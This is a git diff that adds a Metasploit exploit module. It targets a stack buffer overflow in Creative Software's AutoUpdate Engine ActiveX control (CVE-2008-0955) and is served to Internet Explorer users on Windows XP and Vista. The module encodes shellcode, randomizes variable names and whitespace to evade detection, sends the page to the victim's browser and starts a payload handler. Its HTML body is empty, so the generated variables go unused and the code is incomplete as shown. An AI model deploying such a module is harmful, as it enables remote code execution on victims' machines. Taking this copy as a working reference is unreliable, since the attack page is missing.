diff --git a/modules/exploits/windows/browser/creative_software_cachefolder.rb b/modules/exploits/windows/browser/creative_software_cachefolder.rb
new file mode 100644
index 0000000000..9df59f0a43
--- /dev/null
+++ b/modules/exploits/windows/browser/creative_software_cachefolder.rb
@@ -0,0 +1,116 @@
+##
+## $Id: creative_software_cachefolder.rb
+###
+
+###
+## This file is part of the Metasploit Framework and may be subject to
+## redistribution and commercial restrictions. Please see the Metasploit
+## Framework web site for more information on licensing and terms of use.
+## http://metasploit.com/projects/Framework/
+###
+
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Browser::CreativeSoftwareCachefolder < Msf::Exploit::Remote
+
+ include Exploit::Remote::HttpServer::HTML
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow',
+ 'Description' => %q{
+ This module exploits a stack overflow in Creative Software AutoUpdate Engine. When
+ sending an overly long string to the cachefolder() property of CTSUEng.ocx
+ an attacker may be able to execute arbitrary code.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [ 'MC', ],
+ 'Version' => '$Revision$',
+ 'References' =>
+ [
+ [ 'CVE', '2008-0955' ],
+ ],
+ 'DefaultOptions' =>
+ {
+ 'EXITFUNC' => 'process',
+ },
+ 'Payload' =>
+ {
+ 'Space' => 1024,
+ 'BadChars' => "\x00",
+ },
+ 'Platform' => 'win',
+ 'Targets' =>
+ [
+ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
+ ],
+ 'DisclosureDate' => 'May 28 2008',
+ 'DefaultTarget' => 0))
+ end
+
+ def autofilter
+ false
+ end
+
+ def check_dependencies
+ use_zlib
+ end
+
+ def on_request_uri(cli, request)
+ # Re-generate the payload
+ return if ((p = regenerate_payload(cli)) == nil)
+
+ # Encode the shellcode
+ shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
+
+ # Randomize the javascript variable names
+ vname = rand_text_alpha(rand(100) + 1)
+ var_i = rand_text_alpha(rand(30) + 2)
+ rand1 = rand_text_alpha(rand(100) + 1)
+ rand2 = rand_text_alpha(rand(100) + 1)
+ rand3 = rand_text_alpha(rand(100) + 1)
+ rand4 = rand_text_alpha(rand(100) + 1)
+ rand5 = rand_text_alpha(rand(100) + 1)
+ rand6 = rand_text_alpha(rand(100) + 1)
+ rand7 = rand_text_alpha(rand(100) + 1)
+ rand8 = rand_text_alpha(rand(100) + 1)
+
+ content = %Q|
+
+
+
+
+ |
+
+ # Randomize the whitespace in the document
+ content = Rex::Text.randomize_space(content)
+
+ print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
+
+ # Transmit the response to the client
+ send_response_html(cli, content)
+
+ # Handle the payload
+ handler(cli)
+ end
+
+end
+end
+